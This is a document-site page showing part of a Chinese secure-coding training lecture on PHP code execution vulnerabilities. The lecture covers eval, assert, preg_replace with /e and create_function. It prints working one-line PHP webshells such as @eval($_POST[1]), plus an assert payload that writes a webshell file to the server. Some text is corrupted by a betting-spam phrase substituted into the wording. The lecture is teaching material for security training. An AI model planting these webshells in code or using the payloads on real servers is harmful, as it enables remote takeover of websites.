- 1、本文档共25页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
第32讲代码执行漏洞简介
引言应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP中的eval()函数,可以将函数中的参数当做PHP代码来执行如果这些函数的参数控制不严格,可能会被利用造成任意代码执行。
小测试代码执行有哪些方式?
学习目标能描述代码执行漏洞的形成原因能使用代码执行漏洞进行安全测试增加代码执行漏洞防范能力
什么是代码执行漏洞应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP中的eval()函数,可以将函数中的参数当做PHP代码来执行如果这些函数的参数控制不严格,可能会被利用造成任意代码执行。RCE为两种漏洞的缩写,分别为RemoteCommand/CodeExecute,远程命令/代码执行。命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的。
代码执行的几种方式1、${}使用方法:${php代码}例如:?php${phpinfo()};?
代码执行的几种方式2、evaleval(string$code)—把字符串作为PHP代码执行。eval()函数示例代码:(1)?php@eval($_POST[1])?,常见的一句话木马,以此内容保存为p2.php,执行结果如下所示:
代码执行的几种方式(2)?php@eval($_REQUEST[cmd]);phpinfo();?,也是一句话木马。3、assertassert函数检查一个断言是否为FALSE,其用法如下:boolassert(mixed$assertion[,Throwable$exception])assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它将会被assert()当做PHP代码来执行。assert()函数的示例代码:?php@assert($_POST[1])?
代码执行的几种方式利用assert写入一句话木马,将以上1=phpinfo();替换为:1=file_put_contents(2.php,?php@eval($_REQUEST[cmd]);phpinfo();?)再次运行,发现在服务器中写了一个p2.php的一句话木马文件,并可访问。
代码执行的几种方式4、preg_replacepreg_replace()函数执行一个正则表达式的有哪些信誉好的足球投注网站和替换,语法如下:mixedpreg_replace(mixed$pattern,mixed$replacement,mixed$subject[,int$limit=-1[,int$count]])作用:有哪些信誉好的足球投注网站subject中匹配pattern的部分,以replacement进行替换。例如:?php$subject=hellohack;$pattern=/hack/;$replacement=$_GET[name];$subject=preg_replace($pattern,$replacement,$subject);echo$subject;?
代码执行的几种方式在PHP5.5以前的版本中,preg_replace()函数存在模式修饰符,其中修饰符e会让preg_replace()函数将替换后的字符串作为PHP代码评估执行。?php$subject=hellohack;$pattern=/hack/e;$replacement=$_GET[name];$subject=preg_replace($pattern,$replacement,$subject);echo$subject;?
代码执行的几种方式在PHP7中,该实验结果如下,不再支持/e:
代码执行的几种方式5、create_function()create_function()函数根据传入的参数创建匿名函数,并为该匿名函数返回唯一名称,其用法如下:stringcreate_function(string$args,string$code)例如:$a=create_function($id,echo$id;);定义一个匿名函数$a,他的形参是“$id”,函数的内容就是打印出传递的实参。如:echo$a(8); 运行就会打印输出“8”。示例:?php$id=$_GET[id];$code=echo.$func.hello.$id.;;
您可能关注的文档
- 《景观规划设计》课件——中国城市景观公共空间发展历程.pptx
- 《开发人员安全编码实战培训》课件——33-代码执行相关方法.pptx
- 《Photoshop》课件——界面与基本介绍.pptx
- 《餐饮服务》课程知识解析——“1.餐饮服务行业概述”.pdf
- 《餐饮服务》课程知识解析——“3.餐饮服务人员职业素养要求”.pdf
- 《餐饮服务》课程知识解析——“4.餐饮服务礼仪规范(仪容仪表、言行举止)”.pdf
- 《餐饮服务》课程知识解析——“5.餐饮服务沟通技巧与客户关系维护”.pdf
- 《餐饮服务》课程知识解析——“6.餐饮服务安全与卫生管理基础”.pdf
- 《餐饮服务》课程知识解析——“8.迎宾接待服务规范”.pdf
- 《餐饮服务》课程知识解析——“9.点餐服务技巧(菜品推荐、特殊需求处理)”.pdf
- 2025年广播电视编辑记者题库试题【考点精练】附答案详解.docx
- 2025年广播电视编辑记者高分题库及答案详解(必威体育精装版).docx
- 广播电视编辑记者考试彩蛋押题含答案详解(典型题).docx
- 广播电视编辑记者常考点试卷【实用】附答案详解.docx
- 广播电视编辑记者考试黑钻押题附答案详解(研优卷).docx
- 2025广播电视编辑记者考试综合练习含答案详解(综合题).docx
- 2025国家电网招聘考试自我提分评估(各地真题)附答案详解.docx
- 2025年广播电视编辑记者过关检测试卷附答案详解(精练).docx
- 2025年广播电视编辑记者考试综合练习及参考答案详解(实用).docx
- 2025年广播电视编辑记者测试卷含答案详解【满分必刷】.docx
最近下载
- QBT5510-2021 家用电冰箱保鲜性能试验方法.pdf VIP
- 纸箱生产技术培训.docx VIP
- 金属成型软件:PAM-STAMP二次开发_(14).用户界面与图形编程.docx VIP
- TJ9-74 工业与民用建筑结构荷载规范.pdf VIP
- ±800kV及以下直流架空输电线路工程施工及验收规程.pdf VIP
- 2025年勘察设计注册土木工程师水利水电工程资格考试基础考试大纲.pdf VIP
- 纸箱生产工艺流程.ppt VIP
- 2025汽车驾驶员高级技师基本理论知识考试题(+答案解析).docx VIP
- 固化剂化学品安全技术说明书.docx VIP
- 浙江省居住建筑节能设计标准.pdf VIP
文档评论(0)